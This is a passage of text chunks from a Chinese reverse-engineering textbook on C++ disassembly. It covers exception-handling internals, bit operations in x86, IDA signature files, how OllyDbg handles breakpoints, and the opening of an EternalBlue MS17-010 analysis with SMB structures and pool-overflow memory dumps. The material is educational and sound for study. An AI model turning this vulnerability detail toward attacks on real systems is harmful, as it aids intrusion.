CONTEXT@@PAXPBU_s_FuncInfo@@EH1@Z ; 函数FindHandler 的分析见代码清单13-4 ; 部分代码分析略 004036AE retn 004036AE InternalCxxFrameHandler endp 通过对代码清单13-3的分析可知函数__InternalCxxFrameHandler的主要功能是完成异常类型的检查最终调用查找try块和catch块的函数FindHandler。"},
    {"text": "代码清单13-5 TypeMatch分析Debug版 ; 函数声明 ; int cdecl TypeMatch( ; const struct _msRttiDscr *pCatchHandlerArray, ; const struct CatchTableType *pCatchTableType, ; const struct ThrowInfo *pThrowInfo) TypeMatch proc near var_4 = dword ptr -4 pCatchHandlerArray = dword ptr 8 pCatchTableType = dword ptr 0Ch pFuncInfo = dword ptr 10h ; 部分代码分析略 00407414 mov eax, [ebp+pCatchHandlerArray] 00407417 cmp dword ptr [eax+4], 0 ; 检查TypeDescriptor表结构 0040741B jz short loc_40742B ; 若为NULL则直接返回1表示匹配 ; 部分代码分析略 loc_407435: 00407435 mov ecx, [ebp+pCatchHandlerArray] 00407438 mov edx, [ebp+pCatchTableType] 0040743B mov eax, [ecx+4] ; 获取pType ; 将_msRttiDscr表结构中的pType与CatchTableType表结构中的pTypeInfo进行比较 0040743E cmp eax, [edx+4] 00407441 jz short loc_407467 ; 若两个Type指向同一表结构则跳转 00407443 mov ecx, [ebp+pCatchTableType] 00407446 mov edx, [ecx+4] 00407449 add edx, 8 ; 获取TypeDescriptor表结构中的name项 0040744C push edx ; Str2 0040744D mov eax, [ebp+pCatchHandlerArray] 00407450 mov ecx, [eax+4] 00407453 add ecx, 8 ; 获取TypeDescriptor表结构中的name项 00407456 push ecx ; Str1 00407457 call _strcmp ; 对比两个类型名称是否相同 0040745C add esp, 8 0040745F test eax, eax ; 相同则跳转 00407461 jz short loc_407467 ; 部分代码分析略 loc_407467: ; 根据标记判断异常是否匹配 00407467 mov edx, [ebp+pCatchTableType] 0040746A mov eax, [edx] ; 检查标记flag 0040746C and eax, 2 ; 检查是否已被捕获 0040746F test eax, eax 00407471 jz short loc_40747F 00407473 mov ecx, [ebp+pCatchHandlerArray] 00407476 mov edx, [ecx] 00407478 and edx, 8 ; 检查异常是否为引用类型 0040747B test edx, edx 0040747D jz short loc_4074B8 loc_40747F: 0040747F mov eax, [ebp+ pThrowInfo] 00407482 mov ecx, [eax] 00407484 and ecx, 1 ; 检查抛出异常是否为常量 00407487 test ecx, ecx 00407489 jz short loc_407497 0040748B mov edx, [ebp+pCatchHandlerArray] 0040748E mov eax, [edx] 00407490 and eax, 1 ; 检查异常是否为常量 00407493 test eax, eax 00407495 jz short loc_4074B8 loc_407497: 00407497 mov ecx, [ebp+ pThrowInfo] 0040749A mov edx, [ecx] 0040749C and edx, 2 ; 检查抛出异常是否为变量 0040749F test edx, edx 004074A1 jz short loc_4074AF 004074A3 mov eax, [ebp+pCatchHandlerArray] 004074A6 mov ecx, [eax] 004074A8 and ecx, 2 ; 检查异常是否为变量 004074AB test ecx, ecx 004074AD jz short loc_4074B8 loc_4074AF: ; 设置对比结果分析略 004074C5 retn TypeMatch endp"},
    {"text": "Cover C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 3.4 本章小结 本章先对传统C语言教材中提及的main函数入口论提出了质疑以执行文件的反汇编代码为依据提出了“应用程序入口”和“语法规定的用户入口”这两个概念并且分析了VS2019在用户入口前的部分行为。虽然这里是以对main入口的分析为主但是其他入口的行为基本一致各个VS版本的原理也基本相同仅有少许变动读者可以尝试针对其他VS版本的应用程序入口进行练习亲自分析一下。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 4.3 位运算 二进制数据的运算称为位运算位运算操作符如下。 “<<”左移运算最高位左移到CF中最低位零。 “>>”右移运算最高位不变最低位右移到CF中。 “|”位或运算在两个数的相同位上只要有一个为1则结果为1。 “&”位与运算在两个数的相同位上只有同时为1时结果才为1。 “^”异或运算在两个数的相同位上当两个值相同时为0不同时为1。 “~”取反运算将操作数每一位上的1变00变1。 在程序算法中大量使用位运算如不可逆算法MD5就是通过大量位运算完成的。如何使一个数不可逆转呢利用位运算就可以达到这个目的如x & 0结果为0而根据结果是不可以逆推x的值的。由于大多数位运算会导致数据信息的丢失取反~和异或^可以反推因此在知道原算法的前提下使用逆转算法是无法计算出原数据的。在算术运算中编译器会将各种运算转换成位运算因此掌握位运算对于学会算法识别是一件非常重要的事。在编译器中位运算符号又是如何转换成汇编代码的呢请看代码清单4-22。 代码清单4-22 位运算Debug版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { argc = argc << 3; //将变量argc左移3位 argc = argc >> 5; //将变量argc右移5位 argc = argc | 0xFFFF0000; //将变量argc与0xFFFF0000做位或运算 argc = argc & 0x0000FFFF; //将变量argc与0x0000FFFF做位与运算 argc = argc ^ 0xFFFF0000; //将变量argc与0x FFFF0000做异或运算 argc = ~argc; //对变量argc按位取反 return argc; //返回argc } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 mov eax, [ebp+8] ;eax=argc 00401006 shl eax, 3 ;eax=argc<<3 00401009 mov [ebp+8], eax ;argc=argc<<3 0040100C mov ecx, [ebp+8] ;ecx=argc 0040100F sar ecx, 5 ;有符号右移ecx=argc>>5 00401012 mov [ebp+8], ecx ;argc=argc>>5 00401015 mov edx, [ebp+8] ;edx=argc 00401018 or edx, 0FFFF0000h ;edx=argc|0xFFFF0000 0040101E mov [ebp+8], edx ;argc=argc|0xFFFF0000 00401021 mov eax, [ebp+8] ;eax=argc 00401024 and eax, 0FFFFh ;eax=argc & 0x0000FFFF 00401029 mov [ebp+8], eax ;argc=argc & 0x0000FFFF 0040102C mov ecx, [ebp+8] ;ecx=argc 0040102F xor ecx, 0FFFF0000h ;ecx=argc ^ 0xFFFF0000 00401035 mov [ebp+8], ecx ;argc=argc ^ 0xFFFF0000 00401038 mov edx, [ebp+8] ;edx=argc 0040103B not edx ;edx=~argc 0040103D mov [ebp+8], edx ;argc=~argc 00401040 mov eax, [ebp+8] 00401043 pop ebp 00401044 retn ;return argc //x86_gcc 对应汇编代码相似省略 //x86_clang对应汇编代码相似省略 //x64_vs 对应汇编代码相似省略 //x64_gcc 对应汇编代码相似省略 //x64_clang对应汇编代码相似省略 代码清单4-22演示了有符号数的移位运算对于无符号数而言转换的位移指令将会发生转变如代码清单4-23所示。 代码清单4-23 无符号数位移Debug版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { unsigned int n = argc; n <<= 3; n >>= 5; return n; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push ecx 00401004 mov eax, [ebp+8] ;eax=argc 00401007 mov [ebp-4], eax ;n=argc 0040100A mov ecx, [ebp-4] ;ecx=n 0040100D shl ecx, 3 ;ecx=argc<<3 00401010 mov [ebp-4], ecx ;n=argc << 3 00401013 mov edx, [ebp-4] ;edx=n 00401016 shr edx, 5 ;无符号右移edx=argc >> 5 00401019 mov [ebp-4], edx ;n=argc >> 5 0040101C mov eax, [ebp-4] 0040101F mov esp, ebp 00401021 pop ebp 00401022 retn //x86_gcc 对应汇编代码相似省略 //x86_clang对应汇编代码相似省略 //x64_vs 对应汇编代码相似省略 //x64_gcc 对应汇编代码相似省略 //x64_clang对应汇编代码相似省略 在代码清单4-23中对于左移运算而言无符号数和有符号数的移位操作是一样的都不需要考虑符号位。但右移运算则有变化有符号数对应的指令为sar可以保留符号位无符号数不需要符号位所以直接使用shr将最高位补0。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第10章 构造函数和析构函数 构造函数与析构函数是类重要的组成部分在类中起到至关重要的作用。构造函数常用来完成对象生成时的数据初始化工作而析构函数则常用于在对象销毁时释放对象申请的资源。 当对象生成时编译器会自动产生调用其类构造函数的代码在编码过程中可以为类中的数据成员赋予恰当的初始值。当对象被销毁时编译器同样会产生调用其类析构函数的代码。 构造函数与析构函数都是类中特殊的成员函数构造函数支持函数重载而析构函数只能是一个无参函数。它们不可定义返回值调用构造函数后返回值为对象首地址也就是this指针。 在某些情况下编译器会提供默认的构造函数和析构函数但并不是任何情况下编译器都会提供。那么在何种情况下编译器会提供默认的构造函数和析构函数编译器又是如何调用它们的呢本章将解开这些谜题。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 1.6 反汇编静态分析工具IDA 所谓静态分析是相对于动态分析而言的。"},
    {"text": "成功安装IDA后会出现两个可执行程序图标一个是黑白的阿达头像另一个是在阿达头部写有“64”字样的图像它们分别对应32位程序和64位程序的分析本节分析的程序全部为32位。 IDA窗口中的工具条、菜单选项较多初学IDA时只要掌握基本操作即可。"},
    {"text": "IDA的常用快捷键使用说明如表1-3所示。 表1-3 IDA的常用快捷键使用说明 下面我们使用IDA静态分析1.1节的调试程序“Hello world”通过实例进一步学习IDA的基本使用方法。"},
    {"text": "3. 查看分析结果 “Hello world”反汇编分析示例如图1-31所示图中为IDA分析后的反汇编代码将其复制到汇编IDE中只要稍加修改就可以进行编译和连接。"},
    {"text": "1将每个OBJ或者LIB文件制作成PAT文件 OBJ文件中包含函数的名称和对应实现代码的二进制机器码LIB文件包含OBJ文件见图1-32。 图1-32 LIBC.lib中包含的部分OBJ信息 在制作PAT文件的过程中会提取出这些二进制机器码的特征将二进制机器码的特征码及对应函数的名称保存在PAT文件中。"},
    {"text": "OBJ生成PAT时使用的是pcf.exe或者pelf.exe见随书文件1.2 [1] 。 其中pcf.exe用于制作COFF文件格式.obj、.lib库文件、pelf用于制作ELF文件格式.o、.a库文件。"},
    {"text": "当多个PAT文件参与编译时用*代替名称将所选目录下所有后缀名为pat的文件编译为一个后缀名为sic的文件。 [Sig name]编译后生成的SIG文件的名称。"},
    {"text": "在制作SIG文件的过程中如果包含的LIB文件过多如何快速将所有LIB文件生成SIG文件呢我们可根据SIG文件的制作流程编写程序将LIB文件逐个提取出来生成对应的PAT文件再将所有PAT文件编译为SIG文件也可以编写批处理文件快速生成SIG文件。"},
    {"text": "SIG文件制作批处理文件的过程如代码清单1-1所示。 代码清单1-1 SIG文件制作批处理文件的过程 if %1==\"\" goto end for %%i in (*.lib,*.obj) do (pcf %%i) sigmake -r *.pat %1.sig del *.pat :end 代码清单1-1说明了如下几个问题。"},
    {"text": "将代码清单1-1保存为“lib2sig.bat”放置在自己创建的目录下将第三方库或者编译器的库复制到此目录下在控制台下使用此批处理文件“lib2sig.bat”的使用方法如下。"},
    {"text": "lib2sig [ 生成SIG文件名称 ] 设置环境变量时需要获取pcf.exe、sigmake.exe的路径即依次选择“我的电脑”→“属性”→“高级”→“环境变量”→“新建系统变量”→“变量名path”→“变量值”。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 15.6 本章小结 本章对OllyDbg的实现原理进行了分析。根据OllyDbg的实现过程不仅可以自己仿造调试器还可以根据OllyDbg的各种断点特性和文件加载过程编写出能防止OllyDbg加载调试的软件更好地保护自己软件增强软件的安全性。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 15.4 异常处理机制 异常就是在程序运行过程中产生的错误。"},
    {"text": "代码清单15-9 异常处理过程分析IDA分析 loc_439077: ; 异常处理循环起始地址 ; 部分与异常处理无关的代码分析略 loc_439616: 00439616 push 0 00439618 push offset DebugEvent ; DEBUG_EVENT结构指针记录异常信息 ; 等待调试事件用于捕获调试进程的异常信息 0043961D call WaitForDebugEvent 00439622 test eax, eax ; 检查异常信息 00439624 jnz short loc_43966A ; 若成功则跳转 ; 部分代码分析略 loc_43966A: ; 地址标号异常处理部分 0043966A push offset DebugEvent ; 压入异常信息结构体指针 0043966F call sub_496B4C ; 调用插件异常处理函数 00439674 pop ecx 00439675 mov ecx, DebugEvent.dwProcessId ; 获取异常类型 0043967B cmp ecx, dword_4D5A70 ; 检查是否为被调试程序抛出的异常 00439681 jz short loc_4396D9 ; 如果是则跳转到异常处理部分 ; 非调试程序的异常信息重新设置相关的异常信息 00439683 mov eax, DebugEvent.dwProcessId 00439688 push eax 00439689 mov edx, DebugEvent.dwDebugEventCode 0043968F push edx ; arglist 00439690 lea ecx, [esi+0D86h] 00439696 push ecx ; format 00439697 push 0 ; char 00439699 push 0 ; int 0043969B call _Addtolist 004396A0 add esp, 14h 004396A3 cmp DebugEvent.dwDebugEventCode, 1 ; 检查是否为异常调试事件 004396AA jnz short loc_4396BC ; 如果不是则跳转 ; 等待状态宏STATUS_WAIT_0 004396AC cmp dword ptr DebugEvent.u+50h, 0 ; 检查等待状态是否为0 004396B3 jz short loc_4396BC ; 如果是等待状态则跳转 ; 异常不忽略宏DBG_EXCEPTION_NOT_HANDLED 004396B5 mov ebx, 80010001h ; 设置异常状态为不忽略 004396BA jmp short loc_4396C1 loc_4396BC: ; 地址标号异常忽略宏DBG_CONTINUE 004396BC mov ebx, 10002h ; 设置异常状态为忽略 loc_4396C1: ; 检查异常是否被忽略处理 004396C1 push ebx ; dwContinueStatus 004396C2 mov eax, DebugEvent.dwThreadId 004396C7 push eax ; dwThreadId 004396C8 mov edx, DebugEvent.dwProcessId 004396CE push edx ; dwProcessId 004396CF call ContinueDebugEvent ; 继续执行调试程序 004396D4 jmp loc_439077 ; 跳转回循环起始处继续检查调试事件 loc_4396D9: ; OllyDbg异常断点处理部分 ; 异常信息检查部分略 loc_439764: ; 地址标号 00439764 xor eax, eax ; int 00439766 xor edx, edx ; int 00439768 mov dword_4D8130, eax 0043976D lea ecx, [ebp+var_54] ; int 00439770 mov byte_4E3A20, 0 00439777 mov dword_4E3B54, edx 0043977D push ecx ; int 0043977E call sub_42EBD0 ; 此函数为OllyDbg的三种异常断点处理部分 ; 其余代码分析略 根据代码清单15-9对异常循环处理过程的粗略分析我们最终找到了对3种断点产生的异常进行处理的函数sub_42EBD0。"},
    {"text": "检查是否为调试异常如果不是则继续执行程序回到循环起始处。 如果是调试异常则进行相关检查进入断点异常处理函数。 当进入最后一步时程序已经被成功断下调试程序处于挂起状态等待调试者处理。"},
    {"text": "函数sub_42EBD0完成断点触发过程将这个函数重新命名为BreakpointDebugEvent分析如代码清单15-10所示。 代码清单15-10 函数BreakpointDebugEventIDA分析 BreakpointDebugEvent proc near ; 函数入口 ; 局部变量标号、参数标号分析略 0042EBD0 push ebp 0042EBD1 mov ebp, esp 0042EBD3 add esp, 0FFFFF004h 0042EBD9 push eax 0042EBDA add esp, 0FFFFF500h 0042EBE0 push ebx 0042EBE1 push esi 0042EBE2 push edi 0042EBE3 mov esi, DebugEvent.dwThreadId 0042EBE9 push esi ; 此函数完成线程环境信息的获取获取线程信息的API为GetThreadContext ; 存放线程信息的结构为CONTEXT详情可查看MSDN帮助文档 0042EBEA call sub_42E44C ; 此函数分析略 0042EBEF mov edi, eax 0042EBF1 mov eax, [ebp+arg_0] 0042EBF4 pop ecx 0042EBF5 mov [eax], edi 0042EBF7 mov edx, DebugEvent.dwDebugEventCode ; 获取调试状态 0042EBFD cmp edx, 9 ; 检查switch边界一共9个case语句块 0042EC00 ja loc_4313F4 ; default语句块的首地址 0042EC06 jmp ds:off_42EC0D[edx*4] ;获取case地址表中case块地址并跳转 ; case地址表中的各个地址标号每一个标号对应各种调试事件的处理代码首地址 off_42EC0D: 0042EC0D dd offset loc_4313F4 ; default语句块首地址 0042EC0D dd offset loc_42EC35 ; EXCEPTION_DEBUG_EVENT 0042EC0D dd offset loc_430CFF ; CREATE_THREAD_DEBUG_EVENT 0042EC0D dd offset loc_430DD7 ; CREATE_PROCESS_DEBUG_EVENT 0042EC0D dd offset loc_430F3F ; EXIT_THREAD_DEBUG_EVENT 0042EC0D dd offset loc_431037 ; EXIT_PROCESS_DEBUG_EVENT 0042EC0D dd offset loc_43112D ; LOAD_DLL_DEBUG_EVENT 0042EC0D dd offset loc_4311B7 ; UNLOAD_DLL_DEBUG_EVENT 0042EC0D dd offset loc_431276 ; OUTPUT_DEBUG_STRING_EVENT 0042EC0D dd offset loc_4313C7 ; RIP_EVENT ; 以上为调试状态检测这里我们只关心EXCEPTION_DEBUG_EVENT ; 异常的处理工作将在此语句块内完成进入case语句块中代码如下 loc_42EC35: ; 地址标号EXCEPTION_DEBUG_EVENT对应case块 0042EC35 mov ecx, dword_4E360C ; jumptable 0042EC06 case 1 0042EC3B xor eax, eax 0042EC3D mov [ebp+var_14], ecx 0042EC40 mov dword_4E360C, eax 0042EC45 mov [ebp+var_5C], offset DebugEvent.u 0042EC4C test edi, edi ; 检查主线程中是否存在当前寄存器的信息 0042EC4E jnz short loc_42EC5D ; 若存在则跳转 ; 部分代码分析略 loc_42EC5D: 0042EC5D mov eax, [edi+2Ch] 0042EC60 mov [ebp+arglist], eax ; eax保存当前eip 0042EC63 cmp [ebp+var_14], 0 ; 检查异常标识 0042EC67 mov ebx, [edi+10h] 0042EC6A jz short loc_42EC7F ; 跳转到异常类型检查 ; 部分代码分析略 loc_42EC7F: ; 地址编号异常类型检查 0042EC7F mov eax, [ebp+var_5C] ; 获取异常类型 ; 检查异常类型是否为EXCEPTION_BREAKPOINT 0042EC82 cmp dword ptr [eax], 80000003h ; INT3断点检查 0042EC88 jz short loc_42EC91 ; 跳转到INT3断点处理 分析代码清单15-10异常处理首先要检查调试事件类型如果调试信息异常则进入异常处理部分判断异常类型先判断异常是否为INT3断点产生的如果是则通过跳转指令执行地址标号short loc_42EC91对应的代码。"},
    {"text": "代码清单15-11 INT3断点捕获过程IDA分析 loc_42EC91: 0042EC91 push 2 ; char 0042EC93 push 1 ; n 0042EC95 mov ecx, [ebp+arglist] 0042EC98 dec ecx ;在ecx中保存eip信息执行减1操作让执行指令回退1 0042EC99 push ecx ; arglist 0042EC9A lea eax, [ebp+src] ; 保存读取信息 0042EC9D push eax ; src 0042EC9E call _Readmemory ; 读取eip指向地址处的内存信息 0042ECA3 add esp, 10h 0042ECA6 cmp eax, 1 ; 检查是否读取成功 0042ECA9 jz short loc_42ECB2 ; 若读取成功则跳转 0042ECAB xor edx, edx 0042ECAD mov [ebp+var_24], edx 0042ECB0 jmp short loc_42ED0A ; 跳过检查执行INT3断点处理 loc_42ECB2: ; 地址标号检查是否为INT3断点 0042ECB2 xor eax, eax 0042ECB4 mov al, [ebp+src] ; 获取eip指向地址处的机器代码 0042ECB7 cmp eax, 0CCh ; 检查机器代码是否为0xCC 0042ECBC jnz short loc_42ECC7 ; 若机器代码不等于0xCC则跳转 0042ECBE mov [ebp+var_24], 1 ; 设置调试程序指令的回溯长度为1 0042ECC5 jmp short loc_42ED0A ; 跳过检查进行INT3断点处理 loc_42ECC7: ; 地址标号检查是否为INT3断点 0042ECC7 cmp eax, 3 ; 检查获取的机器代码是否为0x03 0042ECCA jz short loc_42ECD3 ; 如果是则跳转 0042ECCC xor edx, edx 0042ECCE mov [ebp+var_24], edx ; 设置调试程序指令的回溯长度为0 0042ECD1 jmp short loc_42ED0A ; 跳过检查进行INT3断点处理 . loc_42ECD3: ; 循环起始点地址标号 0042ECD3 push 2 ; char 0042ECD5 push 1 ; n 0042ECD7 mov ecx, [ebp+arglist] 0042ECDA sub ecx, 2 ; 在ecx中保存eip信息执行减1操作让执行指令回退2 0042ECDD push ecx ; arglist 0042ECDE lea eax, [ebp+src] ; 保存读取信息 0042ECE1 push eax ; src 0042ECE2 call _Readmemory 0042ECE7 add esp, 10h 0042ECEA cmp eax, 1 ; 检查读取结果 0042ECED jnz short loc_42ECFC ; 读取失败跳转 0042ECEF xor edx, edx 0042ECF1 mov dl, [ebp+src] 0042ECF4 cmp edx, 0CDh ; 检查读取结果是否为0xCD 0042ECFA jz short loc_42ED03 ; 若读取结果为0xCD则执行跳转 ; 检查INT3断点失败进入流程loc_42ED0A非INT3断点eip无须调整 ; 设置eip回溯值为0此段代码分析略 loc_42ED03: ; 地址标号调整eip的回溯值为2 0042ED03 mov [ebp+var_24], 2 loc_42ED0A: 0042ED0A mov eax, [ebp+var_24] ; 获取eip的回溯值 0042ED0D sub [ebp+arglist], eax ; 回溯指令码得到正确的断点地址 0042ED10 mov edx, dword_4D5708 0042ED16 cmp edx, [ebp+arglist] ; 检查当前保存的断点是否正确 0042ED19 jnz short loc_42ED23 ; 如果正确则不跳转如果不正确则修正 ; 以上代码的功能为获取正确的断点地址此时调试程序已经被断下部分代码的分析略 经过代码清单15-11的处理后OllyDbg将调试程序停留在正确的INT3断点处在显示反汇编代码的过程中没有直接显示断点处机器码0xCC或0xCD而是通过查找断点信息表中对应的原机器码信息进行显示以防止因修改指令造成的指令混乱。"},
    {"text": "在调试人员对OllyDbg发出再次运行的指令后OllyDbg会先修复INT3断点处的内存数据然后再次运行修复后的指令代码。 INT3断点处的指令被执行后此处将被再次设置为INT3断点代码分析略。 前面分析了INT3断点的异常捕获过程接下来分析内存断点的异常捕获过程。 如果检查INT3断点失败则开始内存断点的异常检查具体分析如代码清单15-12所示。"},
    {"text": "代码清单15-12 内存断点异常捕获IDA分析 loc_42ED39: ; 地址标号异常类型检查 0042ED39 mov edx, [ebp+var_5C] 0042ED3C mov ecx, [edx] 0042ED3E cmp ecx, 0C000008Fh ; EXCEPTION_FLT_INEXACT_RESULT ; 因为内存断点是通过修改内存属性制造异常的所以直接查找内存访问异常处 ; 部分异常比较代码分析略因为之前对ecx执行了sub ecx, 80000001h操作所以 ; 此处实际是在检查异常类型EXCEPTION_ACCESS_VIOLATION=0xC0000005 0042ED76 sub ecx, 40000001h ; 内存读、写错误 0042ED7C jz loc_42FF94 ; 进入异常处理部分 ; 部分代码分析略 loc_42FF94: ; 地址标号内存访问异常处理 0042FF94 mov eax, [ebp+arglist] 0042FF97 push eax 0042FF98 call _Findmodule ; 查找模块信息 0042FF9D pop ecx 0042FF9E mov [ebp+var_54], eax ; 获取模块首地址 0042FFA1 mov eax, [ebp+var_5C] 0042FFA4 mov edx, [ebp+var_5C] 0042FFA7 cmp dword ptr [eax+10h], 2 ; 检查模块中的ExceptionFlags是否大于2 0042FFAB mov edi, [edx+18h] 0042FFAE jb loc_430419 0042FFB4 cmp dword_4D8140, 0 ; 检查内存断点长度是否为0 0042FFBB jz loc_430419 0042FFC1 cmp dword_4D5700, 0 0042FFC8 jz loc_430419 0042FFCE cmp edi, dword_4D8144 ; 异常地址值低于断点内存页首地址值 0042FFD4 jb loc_430419 0042FFDA cmp edi, dword_4D8148 ; 异常地址值高于断点内存页尾地址值 0042FFE0 jnb loc_430419 0042FFE6 or dword_4D5774, 20h 0042FFED lea edx, [ebp+buffer] 0042FFF3 push edx ; dest 0042FFF4 or dword_4D5710, 2 0042FFFB mov ecx, [ebp+arglist] 0042FFFE push ecx ; arglist 0042FFFF call _Readcommand ; 读取调试程序异常处内存数据 00430004 add esp, 8 00430007 mov [ebp+var_38], eax 0043000A cmp [ebp+var_38], 0 ; 检查成功读取内存数据长度 0043000E jbe short loc_430038 ; 若等于0则进入错误处理 ; 部分代码分析略 ; 将读取的机器码数据进行反汇编分析转换成对应的汇编代码 0043002B call _Disasm 00430030 add esp, 1Ch 00430033 mov [ebp+var_C], eax ; 保存反汇编数据长度 00430036 jmp short loc_43003D ; 跳过读取内存错误处理部分 ; 错误处理分析略 loc_43003D: ; 地址标号 .0043003D cmp [ebp+var_C], 0 ; 检查反汇编数据长度 .00430041 jle loc_4301E1 ; 若为0则进入错误处理 .00430047 mov ecx, [ebp+arglist] ; 获取异常首地址 .0043004A add ecx, [ebp+var_C] ; 异常首地址加异常断点长度 .0043004D cmp ecx, dword_4D813C ; dword_4D813C中保存了内存断点的首地址 ; 异常地址是否低于内存断点地址若是则跳到异常处理 .00430053 jbe loc_4301E1 00430059 mov eax, dword_4D813C 0043005E add eax, dword_4D8140 00430064 cmp eax, [ebp+arglist] ; 比较内存断点范围是否小于等于异常地址若是则跳到异常处理 00430067 jbe loc_4301E1 ; 检查内存断点标记跳转到响应处理流程 0043006D cmp dword_4D8138, 0 ; 检查模块是否进入错误处理 00430074 jz loc_4301BD ; 相关模块信息检查分析略 004300C0 jz short loc_4300CC ; 跳过错误处理 004300C2 mov eax, 2 ; 设置返回值 004300C7 jmp loc_431425 ; 结束处理 ; 部分代码分析略 loc_43012F: ; 地址标号 0043012F push 0 00430131 push 0 00430133 push 0 00430135 call _Setmembreakpoint ; 清除内存断点 0043013A add esp, 0Ch 0043013D cmp [ebp+var_54], 0 ; 检查是否清除成功 00430141 jz short loc_4301B4 ; 若清除失败则进入错误处理 ; 部分代码分析略 loc_430183: 00430183 cmp dword_4D920C, 0 0043018A jz short loc_4301B4 0043018C mov ecx, [ebp+var_54] 0043018F test byte ptr [ecx+8], 4 00430193 jz short loc_4301B4 00430195 push 0 00430197 mov eax, [ebp+var_54] 0043019A mov edx, [eax+0Ch] 0043019D push edx ; 检查断点地址 0043019E call _Finddecode ; 查找断点所在代码区的位置 ; 部分代码分析略 loc_4301B4: ; 地址标号 004301B4 xor eax, eax 004301B6 mov dword_4D8138, eax ; 设置断点表的第一个变量为0 004301BB jmp short loc_4301D2 ; 跳转到short loc_4301D2调整优先级 ; 设置优先级结束函数调用部分的代码分析略 代码清单15-12展示了内存断点的触发过程。 回顾内存断点的设置过程其实现原理为通过修改内存属性达到触发异常的目的。 因此内存断点的触发便是内存访问类错误其处理流程如下。"},
    {"text": "到此3种断点的触发过程就分析完了。 本节只是对断点异常处理过程进行了简略分析处理过程中的许多细节并没有给出详细的分析和讲解大家应亲自动手分析以便加深对这些知识的理解。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 17.3 永恒之蓝MS17-010漏洞原理分析 本节将介绍永恒之蓝MS17-010病毒是如何利用漏洞进行传播的。"},
    {"text": "17.3.1 漏洞1利用分析 永恒之蓝EternalBlue利用微软SMB服务协议漏洞进行攻击SMBServer Message Block是一个网络文件共享协议它允许应用程序从远端的文件服务器访问文件资源。"},
    {"text": "代码清单17-19 SMB协议格式 协议头 SMB_Header { UCHAR Protocol[4]; UCHAR Command; SMB_ERROR Status; UCHAR Flags; USHORT Flags2; USHORT PIDHigh; UCHAR SecurityFeatures[8]; USHORT Reserved; USHORT TID; USHORT PIDLow; USHORT UID; USHORT MID; } 协议参数 SMB_Parameters { UCHAR WordCount; USHORT Words[WordCount] (variable); } 协议的数据: SMB_Data { USHORT ByteCount; UCHAR Bytes[ByteCount] (variable); } SMB_COM_TRANSACTION2(0x32)命令协议参数和数据格式 SMB_Parameters { UCHAR WordCount; Words { USHORT TotalParameterCount; USHORT TotalDataCount; USHORT MaxParameterCount; USHORT MaxDataCount; UCHAR MaxSetupCount; UCHAR Reserved1; USHORT Flags; ULONG Timeout; USHORT Reserved2; USHORT ParameterCount; USHORT ParameterOffset; USHORT DataCount; USHORT DataOffset; UCHAR SetupCount; UCHAR Reserved3; USHORT Setup[SetupCount]; } } SMB_Data { USHORT ByteCount; Bytes { UCHAR Name; UCHAR Pad1[]; UCHAR Trans2_Parameters[ParameterCount]; UCHAR Pad2[]; UCHAR Trans2_Data[DataCount]; } } SMB_COM_TRANSACTION2(0x32)命令数据包中的FEA LIST数据格式 typedef struct _FEA { BYTE fEA; BYTE cbName; USHORT cbValue; }FEA; typedef struct _FEALIST { ULONG cbList; FEA list[1]; }FEALIST; 该漏洞代码位于srv.sys的SrvOs2FeaListToNt函数中漏洞代码如代码清单17-20所示。"},
    {"text": "代码清单17-21 池溢出内存布局 溢出之前内存布局 1: kd> dd 876bfff8 876bfff8 53560100 5fb835ff 00011000 00000000 876c0008 ffb8ff8f 830000ff 01660008 83664607 876c0018 2972013f 876c0160 00010ea0 00000000 876c0028 876c003c 00000000 0000fff7 8754f5b0 876c0038 876c00a4 00000000 10040060 00000000 876c0048 876c0160 876c0000 00010ea0 00000160 876c0058 000bf4c0 000bf4c1 000bf4c2 000bf4c3 876c0068 000bf4c4 000bf4c5 000bf4c6 000bf4c7 溢出之后内存布局 1: kd> dd 876bfff8 876bfff8 00000000 00000000 00000000 00000000 876c0008 0000ffff 00000000 0000ffff 00000000 876c0018 00000000 00000000 00000000 00000000 876c0028 ffdff100 00000000 00000000 ffdff020 876c0038 ffdff100 ffffffff 10040060 00000000 876c0048 ffdfef80 00000000 ffd00010 ffffffff 876c0058 ffd00118 ffffffff 00000000 00000000 876c0068 00000000 00000000 10040060 00000000 被覆盖的池属于srvnet.sys 1: kd> !pool 876c0034 Pool page 876c0034 region is Nonpaged pool *876c0000 : large page allocation, Tag is LSbf, size is 0x11000 bytes Pooltag LSbf : SMB1 buffer descriptor or srvnet allocation, Binary : srvnet.sys Srvnet_recv对象内存布局 1: kd> dd ffdff020+16c ffdff18c ffdff190 00000000 ffdff1f1 00000000 ffdff19c 00000000 00000000 00000000 00000000 ffdff1ac 00000000 00000000 00000000 00000000 ffdff1bc 00000000 00000000 00000000 00000000 ffdff1cc 00000000 00000000 00000000 ffd001f0 ffdff1dc ffffffff 00000000 00000000 ffd00200 ffdff1ec ffffffff 40c03100 e8087490 00000009 ffdff1fc e80024c2 000000a7 0001e8c3 90eb0000 srvnet_recv对象函数地址内存布局 1: kd> dd ffdff190 ffdff190 00000000 ffdff1f1 00000000 00000000 ffdff1a0 00000000 00000000 00000000 00000000 ffdff1b0 00000000 00000000 00000000 00000000 ffdff1c0 00000000 00000000 00000000 00000000 ffdff1d0 00000000 00000000 